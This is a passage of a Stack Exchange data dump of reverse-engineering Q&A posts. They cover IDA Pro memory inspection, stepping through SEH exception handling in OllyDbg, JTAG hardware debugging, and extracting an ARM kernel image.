  <row Id="1909" PostTypeId="1" AcceptedAnswerId="1910" CreationDate="2013-04-23T07:21:57.103" Score="11" ViewCount="15600" Body="&lt;p&gt;This is a very naive question about IDA Pro. Once the IDA debugger started, I would like to be able to type a memory address (or a memory zone) and look easily at the content of it (in various format). With &lt;code&gt;gdb&lt;/code&gt; you would do &lt;code&gt;print /x *0x80456ef&lt;/code&gt; or, if you want a wider zone, &lt;code&gt;x /6x 0x80456ef&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what is the best way to display the memory content from the IDA debugger ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="245" LastEditDate="2013-04-24T15:14:33.637" LastActivityDate="2013-04-24T15:14:33.637" Title="How to display memory zones content on IDA Pro?" Tags="|tools|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1910" PostTypeId="2" ParentId="1909" CreationDate="2013-04-23T08:17:08.583" Score="10" Body="&lt;p&gt;In &lt;a href=&quot;http://code.google.com/p/idapython/&quot; rel=&quot;noreferrer&quot;&gt;IDAPython&lt;/a&gt; (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt;) you can do something like this to print a byte/word/double word:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dword(0x80456ef)&#xA;Word(0x80456ef)&#xA;Byte(0x80456ef)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, to print an arbitrary number of bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for b in GetManyBytes(0x40138E, 10):&#xA;    print &quot;%X&quot; % ord(b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If running in the debugger, call it like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetManyBytes(0x40138E, 10, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="245" LastEditDate="2013-04-23T12:14:14.323" LastActivityDate="2013-04-23T12:14:14.323" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1911" PostTypeId="1" AcceptedAnswerId="1912" CreationDate="2013-04-23T12:31:29.360" Score="24" ViewCount="13102" Body="&lt;p&gt;In a 32 bits Windows binary, I see this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    push next&#xA;    push fs:[0]&#xA;    mov fs:[0], esp&#xA;    int3&#xA;    ...&#xA;next:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see that something happens on the &lt;code&gt;int3&lt;/code&gt; (an error), but I don't understand why, and how to follow execution while keeping control.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2020-04-26T18:00:56.223" Title="What's 'fs:[0]' doing and how can I execute it step by step?" Tags="|windows|x86|seh|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1912" PostTypeId="2" ParentId="1911" CreationDate="2013-04-23T12:31:29.360" Score="37" Body="&lt;h1&gt;TL;DR&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the first 3 lines set an exception handler (an 'error catcher')&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the &lt;code&gt;int3&lt;/code&gt; generates an exception&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;execution resumes at &lt;code&gt;next&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Explanation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;this trick is (ab)using &lt;a href=&quot;http://www.microsoft.com/msj/0197/exception/exception.aspx&quot; rel=&quot;noreferrer&quot;&gt;Structured Exception Handling&lt;/a&gt;, a mechanism to define exception handlers, typically by compilers when &lt;code&gt;try&lt;/code&gt;/&lt;code&gt;catch&lt;/code&gt; blocks are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 32bits versions of Windows, they can be set on the fly, without any pre-requirement (unless the binary is compiled with /SafeSEH).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first element of the exception handlers' chain is pointed by the first member of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Win32_Thread_Information_Block&quot; rel=&quot;noreferrer&quot;&gt;Thread Information Block (TIB)&lt;/a&gt;, in turn a member of the &lt;a href=&quot;http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Thread/TEB.html&quot; rel=&quot;noreferrer&quot;&gt;Thread Environment Block (TEB)&lt;/a&gt;, which is pointed to by &lt;code&gt;fs:0&lt;/code&gt; (which is also reachable 'directly' - via something like &lt;code&gt;ds:7efdd00&lt;/code&gt;, depending on the OS version etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is what happens:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the first two &lt;code&gt;push&lt;/code&gt; reserve stack space for the structure &lt;code&gt;_EXCEPTION_REGISTRATION_RECORD&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the new top handler&lt;/li&gt;&#xA;&lt;li&gt;the previous top handler, which was until now at &lt;code&gt;fs:[0]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the &lt;code&gt;mov&lt;/code&gt; sets the current stack position as the new structure. When an exception happens, &lt;code&gt;next&lt;/code&gt; will be now the first called handler.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;int3&lt;/code&gt; triggers an exception instantaneously (there are many other kinds of &lt;a href=&quot;http://seh.corkami.com&quot; rel=&quot;noreferrer&quot;&gt;exception triggers&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;as an exception is triggered, Windows dispatches the exception to the first handler, and the next one if it's not handled, until one of them has handled it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/angea/wiki_old/master/pics/seh_flowchart.png&quot; alt=&quot;flowchart of Exception handling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Following execution&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is done here under OllyDbg 1.10. YMMV.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As we want to go through exceptions ourselves, we have to ask OllyDbg not to handle them:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;go to debugging options: &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;O&lt;/kbd&gt;, tab &lt;code&gt;Exceptions&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;unselect &lt;code&gt;INT3 breaks&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And when an exception is triggered, we have to enforce that execution is done via exceptions (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are 3 methods of increasing level to follow the exception handling execution safely:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;step by step: set a breakpoint manually&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As the handler has just been set on the stack, you can manually set a breakpoint then run.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;select the new handler address on the stack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QQQOQ.png&quot; alt=&quot;new handler on the stack&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right-click or &lt;kbd&gt;F10&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select &lt;code&gt;Follow in Dump&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in the dump window, open the menu (same shortcut)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select &lt;code&gt;BreakPoint&lt;/code&gt;, then &lt;code&gt;Hardware, on execution&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Execute: menu &lt;code&gt;Debug/Run&lt;/code&gt; / shortcut &lt;kbd&gt;F9&lt;/kbd&gt; / command-line &lt;code&gt;g&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exceptions will be triggered&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Execute with exception handling: shortcut &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;F9&lt;/kbd&gt; / command-line &lt;code&gt;ge&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;shortcut: execute until exception handler via command-line&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;as the address is on the stack, the easiest way is to type via the command line &lt;code&gt;ge [esp+4]&lt;/code&gt;, which means, &lt;code&gt;Go with Exceptions&lt;/code&gt;, until the 2nd address on the stack is encountered. Thus, no need to set and unset a breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in the case of a more complex example, where the address might not be obvious on the stack anymore, then the absolute formula would be &lt;code&gt;ge ds:[fs:[0]+4]&lt;/code&gt;, which just gets the actual address from the TIB.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;keeping full control: break on &lt;code&gt;KiUserExceptionDispatcher&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;KiUserExceptionDispatcher&lt;/code&gt; is the Windows API handling all user-mode exceptions. Setting a breakpoint there guarantees that you keep full control - but then, you're in the middle of a Windows API ;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, you can ask OllyDbg to skip exceptions, as you will still break execution manually in any cases. You might also want to combine that with a &lt;a href=&quot;http://tuts4you.com/download.php?list.53&quot; rel=&quot;noreferrer&quot;&gt;script&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, some advanced code might check that you set a breakpoint on it before triggering an exception.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="32936" LastEditDate="2020-04-26T18:00:56.223" LastActivityDate="2020-04-26T18:00:56.223" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="1913" PostTypeId="2" ParentId="1899" CreationDate="2013-04-23T12:53:37.993" Score="7" Body="&lt;p&gt;None of the answers so far answer the actual question so here goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A debugger plugin differs from a &quot;normal&quot; one in two points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;it has &lt;code&gt;PLUGIN_DBG&lt;/code&gt; in the plugin's flags.&lt;/li&gt;&#xA;&lt;li&gt;in init(), it must set the global variable &lt;code&gt;dbg&lt;/code&gt; to a pointer to an implementation of &lt;code&gt;debugger_t&lt;/code&gt; structure. See &lt;code&gt;idd.hpp&lt;/code&gt; for the definition.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For examples, see &lt;code&gt;plugins/debugger&lt;/code&gt; in the SDK, and also the recently updated &lt;a href=&quot;https://github.com/wjp/idados&quot;&gt;&lt;code&gt;idados&lt;/code&gt; plugin&lt;/a&gt;. Warning: making debugger plugins is not for the faint of heart.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-04-23T13:04:38.390" LastActivityDate="2013-04-23T13:04:38.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1914" PostTypeId="2" ParentId="1906" CreationDate="2013-04-23T13:03:16.260" Score="5" Body="&lt;p&gt;From &lt;a href=&quot;https://www.hex-rays.com/products/ida/6.4/index.shtml&quot;&gt;IDA 6.4 news&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+ SDK: added extra_cmt_changed IDB event for the anterior/posterior comment changes;&#xA; also renamed the SDK functions related to these comments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-23T13:03:16.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1915" PostTypeId="5" CreationDate="2013-04-23T15:09:53.040" Score="0" Body="" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-23T15:09:53.040" LastActivityDate="2013-04-23T15:09:53.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1916" PostTypeId="4" CreationDate="2013-04-23T15:09:53.040" Score="0" Body="Structured Exception Handling is the mechanism used by compilers for try/catch blocks. It can also be used as anti-debug tricks, by altering the flow, changing the thread context, debugging oneself..." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-23T15:09:53.040" LastActivityDate="2013-04-23T15:09:53.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1917" PostTypeId="2" ParentId="1909" CreationDate="2013-04-23T19:04:25.240" Score="3" Body="&lt;p&gt;You can also position your cursor in one of the code, hex-view, or stack view windows, and press 'g' to bring up the &quot;jump to address&quot; dialog.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-23T19:04:25.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1918" PostTypeId="1" AcceptedAnswerId="1919" CreationDate="2013-04-24T09:28:24.673" Score="5" ViewCount="503" Body="&lt;p&gt;I would like IDA to remember my default load file settings instead of presenting the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/242.shtml&quot; rel=&quot;noreferrer&quot;&gt;load file&lt;/a&gt; dialog on every start. &#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;noreferrer&quot;&gt;The documentation says&lt;/a&gt; there is a &lt;strong&gt;-T&lt;/strong&gt; command line switch that should take a 'file type prefix' argument and then not display the load file dialog, but I don't know what a valid 'file type prefix' would be. I tried -TPE but a warning popped up saying 'PE' was not recognized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1783" LastActivityDate="2013-04-24T10:05:30.200" Title="How to avoid the load file dialog in IDA GUI" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1919" PostTypeId="2" ParentId="1918" CreationDate="2013-04-24T09:50:26.153" Score="7" Body="&lt;p&gt;It expects the (beginning of the) actual type description (like &lt;code&gt;Portable executable for 80386 (PE)&lt;/code&gt;), not the name of the loader plugin (like &lt;code&gt;pe.ldw&lt;/code&gt;), because a loader plugin can generate different types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the case of a Windows PE, any of these should work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-T&quot;Portable executable for 80386 (PE)&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-TPortable&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-TP&lt;/code&gt; (as the other types for a PE are likely starting with &lt;code&gt;Binary&lt;/code&gt;, &lt;code&gt;Microsoft&lt;/code&gt; or &lt;code&gt;MS-DOS&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-24T10:05:30.200" LastActivityDate="2013-04-24T10:05:30.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1920" PostTypeId="5" CreationDate="2013-04-24T13:33:41.083" Score="0" Body="&lt;p&gt;IDAPython is a Python API to develop IDA Pro plugins which comes bundled with the paid versions of IDA. It allows automation of tasks and even writing loaders and plugins in Python themselves.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-12-21T15:16:07.487" LastActivityDate="2013-12-21T15:16:07.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1921" PostTypeId="4" CreationDate="2013-04-24T13:33:41.083" Score="0" Body="A Python API to develop IDA Pro plugins which comes bundled with the paid versions of IDA. It allows automation of tasks and even writing loaders and plugins in Python themselves." OwnerUserId="245" LastEditorUserId="53" LastEditDate="2013-12-21T15:13:03.367" LastActivityDate="2013-12-21T15:13:03.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1922" PostTypeId="1" AcceptedAnswerId="1928" CreationDate="2013-04-24T16:47:09.463" Score="13" ViewCount="10839" Body="&lt;p&gt;Igor posted a great &lt;a href=&quot;https://stackoverflow.com/a/14811668/139463&quot;&gt;answer&lt;/a&gt; previously on SO about the format of the Linux kernel image on ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I can't boot my kernel image, can someone give me pointers on finding this compressed symbol table in the binary?  &lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-04-25T14:52:01.767" Title="Locating Linux Kernel Symbols on ARM" Tags="|linux|arm|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1923" PostTypeId="2" ParentId="1374" CreationDate="2013-04-24T19:17:12.797" Score="21" Body="&lt;p&gt;JTAG was initially created to test/verify hardware devices. The process is called boundary scanning and JTAG was named after the working group: &lt;b&gt;J&lt;/b&gt;oint &lt;b&gt;T&lt;/b&gt;est &lt;b&gt;A&lt;/b&gt;ction &lt;b&gt;G&lt;/b&gt;roup, some time in the 1980s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea was to define an interface that could be used to test hardware (micro controllers and connected peripherals after manufacturing). I.e. after development of the hardware and subsequent production of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The devices used to do the boundary scan according to JTAG are called &lt;strong&gt;JTAG probes&lt;/strong&gt;. They used to be connected to the parallel port of your machine, but these days are more often connected via USB and based on one of the FTDI chips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a PCB the chip(s) and peripherals form a &quot;daisy chain&quot; connected to the TAP (test access port). So you can test the various components through one port. The instruction &lt;code&gt;BYPASS&lt;/code&gt; is used to tell a device earlier on the chain to ignore your commands and pass them on. &lt;code&gt;IDCODE&lt;/code&gt; is used to identify the device and a few basic characteristics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A neat overview of some technical details can be found here: &lt;a href=&quot;http://www.xjtag.com/support-jtag/jtag-technical-guide.php&quot; rel=&quot;noreferrer&quot;&gt;JTAG - A technical overview&lt;/a&gt;, but the &lt;a href=&quot;http://en.wikipedia.org/wiki/Joint_Test_Action_Group&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia article and its reference list&lt;/a&gt; also provide valuable information. Keep in mind that this was established before the WWW came to be and that a lot of information regarding it has been banned onto dead trees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term &lt;strong&gt;boundary scan&lt;/strong&gt; is still used to describe the process and makes up part of the acronym BSDL (&lt;a href=&quot;http://en.wikipedia.org/wiki/Boundary_scan_description_language&quot; rel=&quot;noreferrer&quot;&gt;boundary scan description language&lt;/a&gt;), which you would normally get in touch with if you were to boundary scan a device/chip and the vendor expected you to do that. Otherwise they tend to be pretty secretive about it. The reason for the secrecy being that they essentially give away a part of their hardware design, which most of these hardware vendors consider a trade secet. I've had the luck to get access to the BSDL file, under NDA, even though it wasn't for the exact silicon revision I was debugging. But I was assured that the BSDL file would work just fine with the silicon revision of the chip I had. But unless you can afford to destroy your hardware, you &lt;strong&gt;have to make sure that your BSDL data matches the hardware you connect to&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days JTAG isn't just used for &lt;em&gt;testing&lt;/em&gt; only, though. Of course hardware-debugging is a subset of testing, so this is not what I mean. What I mean is that JTAG probes also allow you to flash firmware on otherwise defunct hardware. And that is &lt;strong&gt;&lt;em&gt;essential&lt;/em&gt; in debricking bricked hardware&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Possible problems&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are several problems in using JTAG which you have to overcome &lt;em&gt;aside&lt;/em&gt; from identifying the connectors. And I'll ignore the bit &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1382/245&quot;&gt;Mellowcandle mentioned in his answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to be confident that you got things right, because otherwise you can fry your hardware instead of, for example, debricking it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Identify the JTAG pins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Often you'll find TMS, TCK, TDI and so on inscribed on your PCB, so you know you're dealing with a device that supports JTAG. Magnifying glasses may be of help ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this isn't really an arcane art - it gets more difficult when the pins aren't labeled and you need to rely on third-party documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course it is also possible that your board has a &lt;strong&gt;JTAG header&lt;/strong&gt; instead of mere pins/contacts.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Identify the micro controller&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yes, indeed you need to &lt;em&gt;identify&lt;/em&gt; the kind of chip you have before you and find out what voltage it expects, because otherwise &lt;em&gt;you can fry your chip or your JTAG probe or both&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you happen to be lucky, you have a JTAG header on your device which helps you find out what it is and implicitly what voltage it expects and so on. There are quasi-standards for ARM and MIPS to my knowledge. Refer to Mellowcandle's answer for the former and to &lt;a href=&quot;http://www.jtagtest.com/pinouts/ejtag&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://www.linux-mips.org/wiki/JTAG&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; for the latter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use any and all available documentation you can find to verify any assumptions you make. DSL routers often have MIPS CPUs in them, but ARM are also common and possibly others, too. Projects such as &lt;a href=&quot;http://wiki.openwrt.org/toh/&quot; rel=&quot;noreferrer&quot;&gt;OpenWRT have a wealth of information available about hardware&lt;/a&gt;, even hardware not supported directly by them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The JTAG probes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Usually the hardware vendors will claim that they support the McCraigor Wiggler or some other hideously expensive JTAG probe. What this means is that you are on your own if you don't use an &quot;unsupported&quot; (by the vendor) JTAG probe! It doesn't mean it won't work, but it means you have to be damn sure about what you are doing (voltage, JTAG commands you send and such).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Tools&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;FLOSS to use JTAG&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://urjtag.org/&quot; rel=&quot;noreferrer&quot;&gt;UrJTAG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://openocd.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;OpenOCD&lt;/a&gt; (OCD stands for on-chip debugger)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;GDB (&lt;a href=&quot;/questions/tagged/gdb&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;gdb&amp;#39;&quot; rel=&quot;tag&quot;&gt;gdb&lt;/a&gt;) can be used in conjunction with these in some scenarios (e.g. &lt;a href=&quot;http://openocd.sourceforge.net/doc/html/GDB-and-OpenOCD.html&quot; rel=&quot;noreferrer&quot;&gt;OpenOCD&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&quot;Cheap&quot; JTAG probes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; sometimes you will hear the terms debugger or emulator for the JTAG probes themselves.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AVR JTAGICE, Atmel - if you are using AVR controllers these are the probes of choice&lt;/li&gt;&#xA;&lt;li&gt;JTAGkey2 and friends, Amontec&lt;/li&gt;&#xA;&lt;li&gt;PicoTAP, Gopel - the PicoTAP was also given away for free some time ago in a learning kit (with CD and such)&lt;/li&gt;&#xA;&lt;li&gt;several cheap JTAG solutions exist from Olimex (in particular useful if you go with OpenOCD)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dangerousprototypes.com/docs/Bus_Blaster&quot; rel=&quot;noreferrer&quot;&gt;BusBlaster&lt;/a&gt; by Dangerous Prototypes&lt;/li&gt;&#xA;&lt;li&gt;Last but not least: if you are into soldering: &lt;a href=&quot;http://en.wikipedia.org/wiki/Open_JTAG&quot; rel=&quot;noreferrer&quot;&gt;OpenJTAG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-06-19T14:05:14.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1924" PostTypeId="5" CreationDate="2013-04-24T19:24:31.710" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-24T19:24:31.710" LastActivityDate="2013-04-24T19:24:31.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1925" PostTypeId="4" CreationDate="2013-04-24T19:24:31.710" Score="0" Body="JTAG, short for Joint Test Action Group, is a method used for boundary scanning. Possibly applications are hardware testing/debugging and firmware flashing, including debricking of hardware which ended up in a defunct state." OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-24T19:27:26.347" LastActivityDate="2013-04-24T19:27:26.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1926" PostTypeId="2" ParentId="1922" CreationDate="2013-04-24T22:15:01.707" Score="5" Body="&lt;p&gt;This is a bit tricky to answer without getting my hands on the file and verifying a few assumptions based on the question and the linked answer. However, let me try, perhaps we can extend it further if you elaborate more on some aspects of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know it's an ARM file and from your description this pretty much sounds like &lt;a href=&quot;http://www.stlinux.com/u-boot/mkimage/kernel-images&quot; rel=&quot;nofollow noreferrer&quot;&gt;an ARM kernel image for U-Boot&lt;/a&gt;. Now the problem is that I cannot know whether that's true, but you could run the oft mentioned &lt;code&gt;binwalk&lt;/code&gt; or &lt;code&gt;firmware-mod-kit&lt;/code&gt; on the file to see what that gives you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; this is an ARM kernel image for &lt;a href=&quot;http://www.denx.de/wiki/U-Boot&quot; rel=&quot;nofollow noreferrer&quot;&gt;U-Boot&lt;/a&gt;, you can likely get to the &lt;code&gt;gzip&lt;/code&gt; data by skipping the first 64 Bytes of the image (see &lt;a href=&quot;https://stackoverflow.com/q/2658995/476371&quot;&gt;this answer over at StackOverflow&lt;/a&gt;). The gist is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=&amp;lt;image&amp;gt; of=&amp;lt;recovered file&amp;gt; bs=64 skip=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This skips 1 block of 64 bytes and otherwise writes the data from &lt;code&gt;&amp;lt;image&amp;gt;&lt;/code&gt; into &lt;code&gt;&amp;lt;recovered file&amp;gt;&lt;/code&gt;. Essentially it reverses - in part - the effects of the &lt;a href=&quot;http://linux.die.net/man/1/mkimage&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;mkimage&lt;/code&gt;&lt;/a&gt; tool, which is part of U-Boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, assuming everything so far works - and that is a huge assumption - you should be able to decompress (&lt;code&gt;gzip -d&lt;/code&gt;) the resulting file and end up with something you can hopefully &lt;code&gt;grep&lt;/code&gt;. If I was you I'd then use &lt;code&gt;file&lt;/code&gt; to check what kind of file it is and process it further if I happened to get anything meaningful out of it. If not, I would treat the file with &lt;code&gt;binwalk&lt;/code&gt; again and failing that run &lt;code&gt;strings&lt;/code&gt; on it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit x+1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, tried the process myself. Downloaded &lt;a href=&quot;http://maemo.org/packages/package_instance/view/fremantle_extras-devel_free_armel/kernel-power-bootimg/2.6.28-10power51r1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Debian package&lt;/a&gt;, unpacked it, got a &lt;code&gt;zImage-2.6.28.10-power51&lt;/code&gt; which I then looked at in 010 Editor and it's true, this is an ARM kernel image according to the marker (see reading section below):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 